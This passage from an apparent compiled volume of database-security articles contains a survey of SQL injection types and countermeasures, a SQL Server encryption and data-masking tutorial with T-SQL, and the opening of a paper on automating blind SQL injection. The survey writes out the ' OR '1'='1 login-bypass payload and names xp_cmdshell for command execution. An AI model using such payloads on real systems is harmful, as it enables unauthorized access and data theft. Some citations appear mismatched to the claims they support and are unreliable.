11. G. Yigit, M. Arnavutoglu, “SQL Injection Attacks Detection & Prevention Techniques”,
International Journal of Computer Theory and Engineering, vol. 9, no. 5, pp. 351-356, October
2017.

12. D. Kilaru, “Improving Techniques for SQL Injection Defenses”, University of Colorado Colorado
Springs, 2017.

13. R. M. Nadeem, R.M. Saleem, R. Bashir, S. Habib, “Detection and Prevention of SQL Injection
Attack by Dynamic Analyzer and Testing Model”, International Journal of Advanced Computer
Science and Applications, vol. 8, no. 8, 2017.

14. William G.J. Halfond, A. Orso, “Detection and Prevention of SQL Injection Attack”, Georgia
Institute of Technology.

15. B.J. S. Kumar, P.P. Anaswara, “Vulnerability Detection and Prevention of SQL Injection”,
International Journal of Engineering & Technology, pp. 16-18, 2018.

16. [Link], [Link], “A Hybrid Technique for SQL Injection Attacks Detection and
Prevention”, International Journal of Database Management System, vol. 6, no. 1, February, 2014.

127
COUNTERMEASURE
OF SQL INJECTION
ATTACKS
SUNGHYUCK HONG
• August 2007: Texas Tech University, Computer

Science (Doctor of Engineering)

• March 2012 ~ Present: ICT, Baekseok University

• Department of Information Security Associate

Professor

• Interests: Blockchain, IoT security, Lightweight

security protocol

129
Countermeasure of SQL Injection Attacks

At present, it is indispensable to utilize data as an information society. Therefore, the database is used to manage large
amounts of data. In real life, most of the data in a database is the personal information of a group of members. Because
personal information is sensitive data, the role of the database administrator who manages personal information is
important. However, there is a growing number of attacks on databases to use this personal information in a malicious way.
SQL Injection is one of the most well-known and oldest hacking techniques. SQL Injection attacks are known as an easy
technique, but countermeasures are easy. A lot of efforts are made to avoid SQL attacks on web pages that require a lot of
logins, but some sites are still vulnerable to SQL attacks. Therefore, this study suggests effective defense measures through
analysis of SQL hacking technology cases and contributes to preventing web hacking and providing a secure information
communication environment.

1. Introduction

As the information society develops, almost all the information is being dataized and managed. Therefore, paper data
became unnecessary and data management became easier. However, as much of the data came into the database, it was
threatened by hacking. Fortunately, as security technology has been developed to prevent hacking, less data has been
leaked, but with the development of hacking technology, security has become even more important today. The oldest and
most well known hacking technique is SQL Injection. SQL Injection is a hacking technique that is easy to break but also
easy to crack. In Chapter 2, we describe SQL Injection and its damage cases. In Chapter 3, we discuss kinds of SQL
Injection. In Chapter 4, we discuss the corresponding countermeasures. In Chapter 5, we try to finish the report.

2. SQL Injection

2.1 SQL Injection

Fig. 1. SQL Injection Principle

130
Countermeasure of SQL Injection Attacks

SQL Injection is a code injection attack method that manipulates a database abnormally by intentionally exploiting
loopholes in application security to execute malicious SQL statements [1]. This occurs mainly when the user does not
properly filter and escape the data input. The attacker is easy to attack, but the destructive power is so great that it is the
first thing a developer learns [2].

Table 1, 2 & 3 shows OWASP TOP 10 since 2013. SQL Injection is a high-risk method of attack, which has been at the top of
all Open Web Application Security Project (OWASP) TOP 10, which is updated every four years, in 2010, 2013 and 2017
[3,4].

Table 1. OWASP TOP 10 (2010)

T1 Injection
T2 Cross-Site Scripting(XSS)
T3 Broken Authentication and Session Management
T4 Insecure Direct Object References
T5 Cross-Site Request Forgery(CSRF)
T6 Security Misconfiguration
T7 Insecure Cryptographic Storage
T8 Failure to Restrict URL Access
T9 Insufficient Transport Layer Protection
T10 Invalidated Redirects and Forwards

Table 2. OWASP TOP 10 (2013)

T1 Injection
T2 Broken Authentication and Session Management
T3 Cross-Site Scripting(XSS)
T4 Insecure Direct Object References
T5 Security Misconfiguration
T6 Sensitive Data Exposure
T7 Missing Function level Access Control
T8 Cross-Site Request Forgery(CSRF)
T9 Using Components with Known Vulnerabilities
T10 Invalidated Redirects and Forwards

131
Countermeasure of SQL Injection Attacks

Table 3. OWASP TOP 10 (2017)

T1 Injection
T2 Broken Authentication
T3 Sensitive Data Exposure(XXE)
T4 XML External Entities
T5 Broken Access Control
T6 Security Misconfiguration
T7 Cross-Site Scripting(XSS)
T8 Insecure Deserialization
T9 Using Components with Known Vulnerabilities
T10 Insufficient Logging & Monitoring

2.2 Damage cases

There is a case of SQL Injection attack in Korea, Immediate Stay O2O service "How are you here?" In this attack, customer
information has been leaked and customers have been sent an unpleasant text message. Although it is a common
technique, it does not recognize the fact of the hacking and it is revealed through the hacking technique.

In another example, the British Information Board announced that Worldview, a famous travel website, announced that a
credit card number was hacked by an SQL injection attack and warned against it. The British Intelligence Commission has
charged WorldView with a penalty of £ 7,500. Worldview said that this attack hacked card information of about 4,000
customers [5].

In addition to cases of personal information leakage, it is possible to control the system through a web attack. Grasping a
system is more dangerous because it is more likely that a secondary attack will occur than if the victim ends up harming the
system. If you add administrator privileges to a new user, the attacker may become an administrator.

3. Types of SQL Injection

3.1 Bypass filtering

The filtering bypass technique is a general attack method. It is an attack that is targeted at a login page that normally inputs
an ID and a password. It uses an error of logical operation of the T/F of the query statement to cause the login
authentication query to be unconditionally TRUE. It is a way to neutralize. As a typical pattern, input an abnormal SQL
query as 'admin' and password 'OR'1' = '1' in the login field of the web server.

Table 4. Filtering Bypass

SELECT *

132
Countermeasure of SQL Injection Attacks

FROM tables

WHERE id= ‘admin’ AND password=’‘OR’1’=’‘1’;

3.2 Stored Procedure

Stored Procedure SQL Injection uses stored procedures. The stored procedure is a form of SQL set up for operational
convenience. Especially, xp_cmdshell, which can be used in MS SQL, is one of the frequently exploited stored procedures
[7] because it provides a role to execute Windows commands.

3.3 Incorrect Queries

This query is based on an error message in the database. It is an attack that causes an error to get the database name, the
table, the column, and ultimately the data based on the error information. This technique is used as a step for collecting
preliminary information and is not a direct attack because it only acquires data without modifying it [7].

Table 4 shows a filtering bypass sample. Passwd can succeed in login because 'OR'1' = '1 syntax is always TRUE even if ID
and password are not matched correctly [6].

3.4 Union Queries

This query uses the Union operator to add the query that the attacker intended to the parameter, thereby cutting out the
desired internal information. Table 5 shows a simple query for SQL. The Union operator is used when combining two query
statements and returning them, which is mainly used where data such as postal codes or bulletin boards can be easily
identified [8].

Table 5. Basic Union query structure

SELECT * FROM A

UNION

SELECT * FROM B;

3.5 Blind Queries

Blind queries are used when the web is vulnerable to SQL Injection or database messages are not visible to attackers. Unlike
ordinary queries, however, it is true and false that the data is retrieved only by the server's response when the query is true
and false. Therefore, it combines the results of the iterative process to obtain the desired information, thereby causing the
attack to occur. Because many comparisons are needed, attackers attack using automated tools [9].

133
Countermeasure of SQL Injection Attacks

4. Countermeasures of SQL Injection attack

4.1 Introduction of Web Firewall (WAF)

4.1.1 Physical Web Firewall

We recommend a physical dedicated WAF for environments where the size of the enterprise is large, where security is
important, or where the budget is sufficient. You can use appliances or deploy cloud-based solutions.

4.1.2 Logical Web Firewall

If you do not have the capacity to deploy dedicated web firewall appliances, you should consider a public web firewall. Most
public web firewalls act as a web firewall in a logical configuration, not a device.

4.2 Secure Coding

4.2.1 Validating input values

In all web security domains, there is a competition for external input values. All external input values should not be trusted.
The same is true for SQL Injection. Do not trust any input from outside. The external input value may be a value directly
typed by the user, but it may include an external value that can modulate the value using a proxy tool such as the Burp Suite
even if the user does not type it directly. The most basic strategy of SQL Injection is to validate the input value. There are
two ways to validate input values. The first is the blacklist method, which restricts the characters or keywords that change
the structure of the SQL query. The other is a white list method, which is a much stronger security method than the black
list method.

In the blacklist method, all but the prohibited characters are allowed, but whitelisting is prohibited except for the permitted
characters. Because it only accepts the specified characters, you need to keep the whitelist differently depending on the
functionality of your web application. When defining a whitelist, categorizing/patterning using regular expressions is more
advantageous for maintenance than defining individual characters one at a time.

4.2.2 Dynamic Query Usage Restrictions

You do not need to worry about SQL injection if your web application only uses static queries when working with DBs. But
realistically, you will not be able to use dynamic queries. Using dynamic queries is almost a necessity because all modern
web applications interact with users and are based on dynamic functionality. Therefore, it is a good idea to use dynamic
queries as static queries by using parameterized queries.

4.2.3 Limiting Error Message Output

134
Countermeasure of SQL Injection Attacks

DB error information should not be exposed to the user as it is. DB error information often includes internal information to
help developers easily debug it. Based on this information, the hacker will try to figure out the DB structure and attempt to
leak data. Therefore, DB error should not be exposed to the user as it is. You also need to be careful with too many guidance
messages. It is better to notify the message when the login fails, the ID is wrong, the password is wrong, and the login
information is inconsistent.

4.2.4 DB Security

[Link] Isolating DB Accounts

The DB account used by the administrator and the DB account accessed by the web application must be separated.

[Link] Restrict DB Account Permissions

The web application creates a dedicated account to access the DB and assigns only those privileges that are essential to this
account based on the principle of least privilege.

[Link] Removing default/committed stored procedures

When the database is installed, it is a good idea to remove the default included procedures unless absolutely necessary.

4.3 Vulnerability Check and Monitoring

4.3.1 Continuous Vulnerability Check

You should regularly check for SQL Injection vulnerabilities. It is recommended to periodically check for vulnerabilities by
attempting to simulate hacking or using a web vulnerability checker. Keep in mind that even a simple event page can expose
you to SQL vulnerabilities whenever you interact with the database [10].

4.3.2 Logging and Monitoring

SQL Injection is often attacked by causing an error or by repeatedly calling the same page or function. Therefore, careful
attention should be paid to the subject of caution when a lot of errors occur or when the same page is repeatedly called by
the same IP [11-15].

5. Conclusion

SQL Injection is known to be the most dangerous attack of web hacking technique although it has been a long time since it
was published. There are so many ways to deal with this, but if you rely on only one thing, there will be many loopholes.
Therefore, it is necessary to utilize the attacks so far and their countermeasures to prevent them before they are attacked.

135
Countermeasure of SQL Injection Attacks

However, as technology continues to evolve, hacking technology will also evolve, so constant research and study will be
needed to develop countermeasures.

REFERENCES

1. J. S. Park. (2018). A Data Driven Index for Convergence Sensor Networks. Journal of the Korea
Convergence Society, 7(6), 43-48.

2. D. Wetter (2019). OWASP Top 10: Zwei Jahre danach. Datenschutz Und Datensicherheit-DuD,
36(11), 810-813. DOI : 10.1007/s11623-012-0277-1

3. K. Fowler. (2019). Confirming and Recovering from SQL Injection Attacks. SQL Injection Attacks
and Defense, 443-484. DOI : 10.1016/b978-1-59-749963-7.00010-4[5]

4. S. D. Curation. (2018). Digital Curation Centre Template v1 ([Link].srwed7e). [Link].


DOI : 10.17504/[Link].srwed7e

5. A. Pomeroy & Q. Tan. (2019). Effective SQL Injection Attack Reconstruction Using Network
Recording. 2011 IEEE 11th International Conference on Computer and Information Technology.
DOI : 10.1109/cit.2011.103

6. G. Koziel, B. Krawczynski, J. Marucha, P. Wojcicki & S Skulimowski (2018). Application To


Examine Sql Injection Vulnerabilities As A Tool In Computer Science Education. INTED 2018
Proceedings. DOI : 10.21125/inted.2018.1739

7. J. Halde. (2018.). SQL Injection analysis, Detection and Prevention. DOI :


10.31979/[Link]-9gq5

8. J. Y. Choi. (2019). Development of educational programs for managing medical information


utilizing medical data generation and analysis techniques. Journal of Digital Convergence,
15(10), 377-386.

9. S. Hong (2019). XSS Attack and Countermeasure: Survey. Journal of Digital Convergence, 11(12),
327-332.

10. B. R. Kim, B. R. Yoo & S. Y. Jung. (2019). Philippine Learning Management System Design and
Implementation. Journal of the Korea Convergence Society, 3(2), 1-5.

11. S. S. Shin, J. I. Kim & J. J. Youn. (2015). Vulnerability Analysis of the Creativity and Personality
Education based on Digital Convergence Curation System. Journal of the Korea Convergence
Society, 6(4), 225-234.

12. J. S. Park. (2018). A Data Driven Index for Convergence Sensor Networks. Journal of the Korea
Convergence Society, 7(6), 43-48.

136
Countermeasure of SQL Injection Attacks

13. S. Hong. (2019). Research on Wireless Sensor Networks Security Attack and Countermeasures :
Survey. Journal of Convergence for Information Technology, 4(4), 1-6.

14. P. S. Shin & J. M. Kim. (2018). Security and Hacking on Wireless Networking for Small and Medium
Business : Survey. Journal of Convergence for Information Technology, 4(3), 15-20.

15. H. J. Yoon. (2018). Classification of Normal and Abnormal Heart Sounds Using Neural Network.
Journal of Convergence for Information Technology, 8(5), 131-135.

137
SQL SERVER
DATABASE
ENCRYPTION
CHOICES
SOURAV MUKHERJEE
Sourav Mukherjee is a Senior Database Administrator and Data Architect based out of

Chicago. He has more than 12 years of experience working with Microsoft SQL Server

Database Platform. His work focuses on Microsoft SQL Server started with SQL Server 2000.

Being a consultant architect, he has worked with different Chicago based clients. He has

helped many companies in designing and maintaining their high availability solutions,

developing and designing appropriate security models and providing query tuning guidelines

to improve the overall SQL Server health, performance and simplifying the automation needs.

He is passionate about SQL Server Database and the related community and contributing to

articles in different SQL Server public sites and forums, helping the community members. He

holds a bachelor's degree in Computer Science & Engineering followed by a master’s degree

in Project Management, currently pursuing a Ph.D. in Information Technology from the

University of the Cumberlands. His areas of research interest include RDBMS, distributed

database, Cloud Security, AI and Machine Learning. He is an MCT (Microsoft Certified Trainer)

since 2017 and holds other premier certifications such as MCP, MCTS, MCDBA, MCITP,

TOGAF, Prince2, Certified Scrum Master and ITIL.

139
SQL Server Database Encryption Choices

I. INTRODUCTION

In today’s world, data is more crucial than the expensive hardware cost. No one wants their personal data to be
compromised. Same goes with business houses as well; they also do not want their data to be Inappropriately handled to go
out of the business. To help protect the public rights and safety, the European Union had to come up with strict rules and
regulations of GDPR (General Data Protection Regulation) this year. Now, this regulation is confined to the EU Economic
Area and Territory. I’m sure other developed and developing countries will also bring their own territorial rules and
guidelines sooner or later to strictly adhere to the data privacy rules in protecting confidential customer details. Anyway,
this article is not related to the discussion about GDPR. The focus of this article is to talk about some of the excellent
features developed by Microsoft to handle data encryption, that is, how to implement more security features to the SQL
Server software bundle (except the last feature).

The area of discussion here is about the following list of four topics that are widely used and adopted by organizations. By
and large, every organization nowadays does have a cybersecurity team. Further, many organizations have extended this
arm to define their corporate security best practices. They do check out the ways the organization’s valuable data assets can
be protected and, if they use Microsoft SQL Server to store data, then they use any, some, or all of the below features. Now,
Vormetric Transparent encryption is not developed by Microsoft. This is developed by Vormetric Inc, a San Jose based
company that works on data security platform services. This product is tightly integrated with other encryption product
keys, such as IBM’s Guardium Data Encryption, Oracle’s Transparent Data Encryption (TDE) and Microsoft SQL Server
TDE, in addition to Vormetric keys. Let’s move on with the features of each of the four encryption models:

• Always Encrypted (AE)

• Transparent Data Encryption (TDE) & Cell Level Encryption (CLE)

• Dynamic Data Masking (DDE)

• Vormetric Transparent Encryption (VTE)

Now, when the entire IT world is concerned about data security, protection, vulnerability management, let's quickly check
how Transparent Data Encryption (TDE) or Always Encrypted (AE) can help solve some of the problems.

The new Always Encrypted feature introduced in SQL 2016 allows the database administrators to encrypt sensitive data
inside an application—without having to reveal the encryption keys to the SQL database or server.

Whereas, Transparent Data Encryption (TDE) and Cell Level Encryption (CLE) encrypt an entire database while at rest (at
disk level), Always Encrypted encrypts at the column level but with several additional benefits (on the wire).

The client-side application is entirely uninformed of the implementation of TDE or the CLE and no such software is
installed on the client-side system. All such encryption tasks are carried out by the SQL Server database alone.

The below diagram will showcase how a Transparent Encryption logic or algorithm functions.

140
SQL Server Database Encryption Choices

Fig 1: Transparent Data Encryption Process [2]

Basically, if you want your database backup to be protected, then TDE works very well. If you implement TDE in the source
server and if you want to restore the database to another server, then you need a master key and certificate to restore. Think
about how you open your locker in the bank. One key is with you and the other key is with the bank professional to
implement an extra layer of protection.

On the other hand, the Always Encrypted (AE) provides transparent encryption from the database to client applications.
This AE feature is improved upon TDE by providing an extra layer of encryption of sensitive data in memory and in transit,
as well as at rest. The Always Encrypted-enabled driver actually performs the encryption and the decryption of the
application. The owner of the information can then govern any potential leakage to database administrators by preserving
the decryption keys so that administrators do not have incidental access to sensitive data. By contrast, the database
administrator has access to the encryption keys with TDE by using the master key and the certificates.

The below diagram shows how the Always Encrypted process typically works.

141
SQL Server Database Encryption Choices

Fig 2: Always Encrypted Process [1]

I prefer Always Encrypted in comparison with Transparent Data Encryption because:

• Always Encrypted can encrypt the data at the column level, rather than at the whole database level, which is for
Transparent Data Encrypted. So, you get a more granular choice to implement the encryption. Isn’t that great?

• In Always Encrypted, the data is encrypted both at rest and in the memory and where the decryption logic is defined
at the Client side and it is done by the Client Driver. This signifies that one can shield the data from harmful threats
(by admins and by the man sitting in the middle to attack).

Transparent Data Encryption (TDE) can only offer encryption at rest and that means not fully secured. However, there are
some limitations to the implementation of Always Encrypted.

• It can be just a single column, which is so far for AE.

• To implement this feature, modification of the existing applications may be required.

• You can’t involve tempdb to include part of AE.

• Columns that are using one of the subsequent data types, such as xml, timestamp, rowversion, image, ntext, text,
sql_variant, geography, hierar-chyid, alias, geometry, user defined-types, etc.

• Some of the encrypted data types may require a “_bin2” collation type, which may require a few DDL code changes.

• Your application will need to be compatible with .NET 4.6. If not, it may not work.

• The application administrator will need to fully understand the encryption keys to ensure that they are protected—
both from the database administrators and other unintended audiences.

• The encryption keys will also need to be backed up for disaster recovery.

142
SQL Server Database Encryption Choices

• Adding AE may increase your database size and CPU usage (especially for database writes) and adding encryption
may also prevent any deduplication algorithms.

• Some of the SQL Server features such as replication are not currently supported in all editions. Instead, you might
have to upgrade to the costlier Enterprise Edition.

One significant restriction of Always Encrypted is that it can only be applied to a limited subset of SQL operations. Many
such SQL operations are complex and cannot be handled by Always Encrypted.

Also, note that:

• The Always Encrypted feature provides an entry-level additional level of security for sensitive data that may allow
for reduction in administrator costs. Yet, the requirements tend to depend on new application development rather
than tweaking the existing systems.

• Many complex SQL operation tasks may not work with Always Encrypted features. I would only recommend using
the Always Encrypted feature if the application design and architecture is fairly simple and straightforward.

For example, you may want to use Always Encrypted to send data from a SQL Server database hosted internally to a
web-based SQL Server database and application. The data will be safeguarded in the transition and will be encrypted in the
database. If your web application does basic SQL queries at the database layer, this method can work well.

Dynamic Data Masking (DDM)

Dynamic data masking is introduced in SQL Server 2016 edition and Azure SQL Database, and is configured by using basic
Transact-SQL commands.

This feature is to restrict the revelation of sensitive data. It prevents the users from accessing data by eliminating the access
to the data to view it. This is a complementary security feature and needs to be used with other security features such as
audit, encryption or row level security.

Dynamic data masking (DDM) masks sensitive data on the fly while protecting sensitive data to be viewed by
non-privileged or designated users. It has a few simple masking functions that are either inbuilt or you can customize based
on your own need, and through that you can prevent users from unmasking data.

The beauty of this feature is that it does not require any coding effort from the application side or encrypting or applying
any change to the real data stored in the disk.

143
SQL Server Database Encryption Choices

Fig 3: Dynamic Data Masking Process

One example of DDM is when calling the customer care of a credit card company, they validate either last 4 or 6 digits of
SSN number or any other sensitive customer data. If the application does support DDM, the call center agent may only ask
for a few digits of the number rather than asking for the entire sensitive number. This is a cool way of handling or
protecting customer data.

There are four masking functions used to mask the data:

• Default

• Random

• Custom String

• Email

144
SQL Server Database Encryption Choices

Code Snippet to be used to Implement Dynamic Data Masking using SQL Server T SQL (Edition SQL 2016 and onwards)

--1 Create the Database


USE [master]
GO
CREATE DATABASE [DynamicDataMaskingDemo]
CONTAINMENT = NONE
ON PRIMARY
( NAME = N'DDM', FILENAME = N'C:\Program Files\Microsoft SQL
Serv-er\[Link]\MSSQL\DATA\DD [Link]' , SIZE = 8192KB , MAXSIZE = UNLIM-ITED,
FILEGROWTH = 65536KB )
LOG ON
NAME = N'DDM_log', FILENAME = N'C:\Program Files\Microsoft SQL
Serv-er\[Link]\MSSQL\DATA\DD M_log.ldf' , SIZE = 8192KB , MAXSIZE = 2048GB ,
FILEGROWTH = 65536KB )
GO

--2 Create your table with proper functions


Use [DynamicDataMaskingDemo]
GO
CREATE TABLE [dbo].[EmployeeContacts]
(
[ID] [int] IDENTITY(1,1) NOT NULL Pri-mary key,
[FName] [nvarchar](30) MASKED WITH (FUNCTION = 'default()') NOT NULL,
[LName] [nvarchar](30) NOT NULL, [CreditCard] [varchar](20) MASKED WITH (FUNCTION =
'partial(2, "XX-XXXX-XXXX-XX", 2)') NULL,
[SalaryUSD] [int] MASKED WITH (FUNCTION = 'default()') NULL,
[OfficalEmail] [nvarchar](100) MASKED WITH (FUNCTION = 'email()') NULL,
[PersonalEmail] [nvarchar](100) MASKED WITH (FUNCTION = 'email()') NULL,
[ChangedDate] [datetime] MASKED WITH (FUNCTION = 'default()') NULL
)

--3 Insert Records to the table.


Insert Into [dbo].[EmployeeContacts] values ('Sourav', 'Mukherjee', '1234-3026-4508-4325',
10000,'smukherjee3818@[Link]', 'smukherjee3818@[Link]','2018-12-30
08:00:00')

145
SQL Server Database Encryption Choices

--4 Grant permission to the user to the table.


CREATE USER [ReadOnlyTestUser] WITHOUT LOGIN;
GRANT SELECT ON [EmployeeContacts] TO [ReadOnlyTestUser];

--5 Check table records (with super user permission)


select * from [DynamicDataMasking-Demo].[dbo].[EmployeeContacts];

--6 Check the record using the user permission.


Execute as USer = 'ReadOnlyTestUser';
select * from [DynamicDataMasking-Demo].[dbo].[EmployeeContacts];
Revert
--This section will apply the masking function.

Observation:

The data will be masked for the user ReadOnlyTestUser. Check out Fig #4 below about before masking vs after masking
results.

Conclusion:

This method allows developers to debug the Production environment without breaking the security or privacy for a user.

Fig 4: Results of Dynamic Data Masking from SQL

Dynamic Data Masking also comes with its own limitations:

A masking rule cannot be defined for the following column types:

• Columns with already defined encryption such as Always Encrypted.

• Associated with FILESTREAM.

146
SQL Server Database Encryption Choices

• It cannot be configured on a computed column. However, if the computed column is dependent on a column with a
MASK, then it will return the masked data.

• It can’t be a part of the Full Text Index.

• It can’t be performed on a column with any dependency. As a workaround, remove the dependency first and then
add DDM and finally recreate the dependency. Let’s say if the dependency is on a column in an index, then drop the
index first then apply the mask and finally recreate the dependent index.

The final topic of discussion here is on Vormetric Transparent Encryption. Not sure how many of you got a chance to work
using Vormetric but it offers many cool features.

• Vormetric is specialized for enterprise level encryption and for key management to protect databases in physical,
virtual and cloud environments. This solution delivers comprehensive capabilities that enable your organization to
address a broad range of security objectives. It also simplifies implementation and management. Vormetric enables
organizations to secure data across all their environments, including physical, virtual, cloud and big data. The Data
Security Platform contains encryption, key management, key vault and toolkit products, all managed via the
Vormetric Data Security Manager also known as DSM. Vormetric's Transparent Encryption module is an agent that
runs at the file system level on a server that encrypts data at rest. It is also used to access control, and for collecting
security logs.

• It is often employed for compliance especially for protecting credit cards, medical records, personal information and
intellectual property.

Vormetric Product features

Vormetric distinguishes itself from the competitors by providing transparent encryption, access controls at the granular
levels, and security intelligence. It also offers cloud platform support. It has the capability to encrypt data stored in all types
of databases, either it is structured or unstructured kind, and at the file and folder levels, which does not require any
underlying changes to the databases or at the application level.

The Vormetric Transparent Encryption software has an agent that runs on servers or at the VM level to control access to
files, folders and volumes. It finally reports the activities to DSM. The DSM is a physical or a virtual application that
provides a web-based user interface that can manage the complete platform. Agents can also apply the policies defined in
the DSM to regulate the user actions, such as limiting which user can access the encryption key and for what purpose they
can use it. The administrators can use the DSM to monitor the databases and systems. They can also view current status, or
they can manage the encryption keys, or they can also govern access privileges.

Customers rely on Vormetric application encryption for several key reasons. By encrypting data in the application server, it
is secured while in transit and in storage. Data is protected across its lifecycle including when it is backed up, migrated and

147
SQL Server Database Encryption Choices

archived. The solution ensures that administrators and others with system and infrastructure access can't access sensitive
data and application encryption can reduce the scope of PCI DSS compliance.

Very importantly, if encrypted data is stolen, attackers won't have any means to decrypt the data, so it won't be of any use or
value. Even if a SQL injection attack is successful at extracting data from a compromised server, only encrypted data will be
returned to the hacker, which won't be of any value, and finally it protects from insider threats. Even your administrators
won't be able to see sensitive data.

II. CONCLUSIONS

Every IT and security group is under growing pressure as they continue to have more sensitive data to protect, more threats
to combat and more compliance mandates to address. One of the best ways to contend with these increasing security
demands is to encrypt sensitive data. Recent research has revealed that the adoption of encryption has increased as has the
number of objectives it is being used to address, the most common reasons for employing encryption.

In addition, encryption is being used to safeguard an organization's reputation.

Finally, security breaches have become a near certainty for most organizations now. Security managers started realizing
that encryption can mitigate the damage that these attacks inflict. It is believed that more than thirty five percent of
organizations have instituted a consistent encryption strategy. However, as the use of encryption has grown so has the
number of encryption solutions that have been supported, in fact more than seventy percent of organizations are working
with five or more encryption technologies.

Companies historically have rolled out too many single purpose encryption tools and products that can only secure specific
types of data systems or environments. As a result, to address their growing requirements, IT and security teams have had
to procure, monitor and manage a collection of disjointed technologies, which is complex, inefficient and expensive. Now
organizations have a compelling alternative to these piecemeal approaches.

Under the hood, carefully choosing the right encryption policy and strategy is most important in keeping your organization
safe and protecting the data and information secured.

148
SQL Server Database Encryption Choices

REFERENCES

1. Microsoft TechNet blog post, Always Encrypted (Database Engine) - SQL Server | Microsoft
Docs
[[Link]
[Link]]

2. Microsoft MSDN Document Library article, Transparent Data Encryption (TDE)


[[Link]
ta-encryption?view=sql-server-2017]

3. Mukherjee, S. (n.d.). How IT allows E-Participation in Policy-Making Process (p. 12).


[Link]

4. Mukherjee, S. (n.d.). Benefits of AWS in Modern Cloud.

149
BLIND SQL
INJECTION
ATTACK
ALGORITHM
SATRIA MANDALA
Born in Tulungagung, Satria Mandala has research interest covering wired

and wireless network security, wireless sensor network, clouds and grid

computing, multimedia networks, and image retrieval and medical

informatics. Satria studied Electronics/Control System in University of

Brawijaya (1997). Furthermore, during 2004-2011, he completed his

graduate and postgraduate programs on Communication & Networking

from Universiti Teknologi Malaysia (UTM).

151
ALDEBARAN BAYU NUGROHO

152
Blind SQL Injection Attack Algorithm

There are several types of SQL injection attacks. One of the most popular SQL injection attacks is Blind SQL. This attack is
performed by exploiting a gap in the database server when executing query words. If the server responds to an invalid
query, the attacker will then reverse the engineering part of the SQL query, which is obtained from the error message of the
server. The process of generating a blind SQL injection attack is complicated. As a result, a pentester often requires a long
time to penetrate the database server. This research provides solutions to the problems above by developing the automation
of a blind SQL injection attack. The method used in this research is to generate keywords, such as the database name and
table name so that the attacker can retrieve information about the username and password. This research also compares
several search algorithms, such as linear search, binary search, and interpolation search for generating the keywords of the
attack. Automation of the Blind SQL injection was successfully developed, and the performance of the keywords generation
for each algorithm was also successfully measured, i.e., 1.7852 seconds for binary search, 1.789 seconds for interpolation
and 1.902 seconds for linear search.

1. INTRODUCTION

Technology like the internet is very important, especially internet technology such as websites. The growth of the website
every year is increasing. According to a survey conducted by Netcraft in July 2018, website growth in the world has reached
1.6 billion hosts (Netcraft, 2018). This growth is in line with the number of cases of attacks on websites.

Criminal cases in cyberspace every year always grow bigger and include more types. Based on OWASP Top 10 data, the
widest attacks in the last two surveys that have been carried out by the organization are injection-based attacks such as
SQL, NoSQL, OS, and LDAP (OWASP, 10AD). Data sourced from WhiteHat Security declares that there are at least 83% of
websites that have at least one vulnerable critical gap (Grossman, 2011). A system that is not developed with security in it
will have a fatal impact if attacked. There are so many system breakers who take advantage of the damaged system, such as
asking for ransom for data taken or breaking into the system just for the sake of pleasure. The main cause of poor website
security is that developers do not implement effective security and program systems with safer codes (Acar et al., 2017).

The automation of SQL injection rarely causes a pentester to take a long time to carry out attacks and not know about the
best test algorithms. The used method to penetrate the website is Blind SQL Injection. The use of the Blind SQL Injection
method is based on its complexity when inputting the syntax one by one to find the existing vulnerable gaps. With the
research carried out, the syntax injection process is generated automatically. This method provides questions that produce
true or false answers so that the injection process produces definite answers. The purpose of this research is to design and
implement automation of Blind SQL Injections using linear, binary, and interpolation search algorithms and analyze, in
terms of time, the performance for each algorithm that is implemented.

153
Blind SQL Injection Attack Algorithm

2. LITERATURE REVIEW

A. Penetration Testing

Penetration Testing is a method used to test the security of a system by attacking a system. Penetration testing itself has
three stages that must be performed, namely Information Gathering, Attack Generation, and Response Analysis (W. G. J.
Halfond, Choudhary, & Orso, 2009). The Information Gathering phase is the process of analyzing targets that aim to
identify information that is useful to determine the right attack of a vulnerable gap. Attack Generation is a process of attack
carried out by using specific packages in accordance with the results of the information obtained in the previous phase. The
next phase, Response Analysis, is useful for checking the attacks carried out, whether they are successful, and then making
information records available about the attacks that have been successfully carried out. In this study, the Information
Gathering phase has been carried out because it uses the localhost website that has been created by the author, and the
position to inject the attack is known. The focus of this research is on the Attack Generation phase.

B. Blind SQL Injection

The Blind SQL injection attack scheme is an attack that uses a type of query that produces true or false answers. If the
question that is injected into the server produces the correct answer, then the website will function normally. If it is wrong,
then the website page has a very significant different characteristic (W. G. Halfond, Viegas, & Orso, 2006). Research on
Blind SQL injection was carried out by Ali et al. with an application called MySQLInjector that scans website servers to
detect hidden SQL vulnerable gaps that are efficient in penetrating their targets (Ali, Shakhatreh, Abdullah, & Alostad,
2011). MySQLInjector has three Blind SQL features, including Blind SQL Injection based on True/False response,
True/Error response and Order by. Then Appelt et al. researches mutation testing on SQL injection input values so that it
can generate random input to detect the existing vulnerable SQL on the website (Appelt, Nguyen, Briand, & Alshahwan,
2014). Patil et al. do research to improve efficiency when scanning vulnerabilities while maintaining low false positives and
false negatives (Patil, Marathe, & Padiya, 2016). To analyze the target, Patil's research uses a black box testing approach.

C. Searching Algorithm

The searching algorithm is an algorithm used to solve problems by retrieving specific stored information in a data set.
Research on searching algorithms was used to measure performance from the Small Adaptive Intersection algorithm that
outperformed other intersection algorithms in the context of search engines with optimum results obtained using binary
search (Barbay, López-Ortiz, & Lu, 2006). Then, other studies are applying a searching algorithm on B-tree indexes by
using interpolation search (Graefe, 2006).

SQL injection automation is done using three search algorithms. Each algorithm used in this research is explained in Table
1 below:

154
Blind SQL Injection Attack Algorithm

Table 1. Types of Algorithms

No. Types of Algorithms Information

1. Linear Search (Brute Force) Results are searched in sequence based on the sequence of data created.

The data will be divided into two segments then compared whether the
2. Binary Search results are at the top or bottom of the segment that has been done before and
then will continue to divide it until the data sought is the same as the results.

3 Interpolation Search Search for data by estimating the location of the data using key values.

3. RESEARCH METHOD

A. Data

The data used in this study is a localhost website that is connected to a MySQL database. The data for searching uses hex
numbers that can be printed that range from 0x20 to 0x7f.

B. Test Matrix

To measure the performance of the system being built, we compare the results of the data obtained from each algorithm in
the form of time performance when searching for each correct letter from each algorithm used. In the formula to find the
time (1) below, T0 is the initial time when the letter search process is started while T1 is the end time when the letter is
obtained. Time performance is derived from the following formula:

∆T = T1− T0

(1)

C. Design of Algorithms

1. Blind SQL Injection Attack Scheme

In this research, we used the Illegal/Logically Incorrect Queries attack type. The attack is to utilize syntax errors or logical
errors so that the website application returns an error page. The injection is done using a vulnerable gap from the website
page taken from the login form. On this form, if you use the inspect element function in the browser, you can see form
elements that can be used to automate. There are three elements in the <form method = "post"> that must be used, namely
"username", "password" and class button.

155
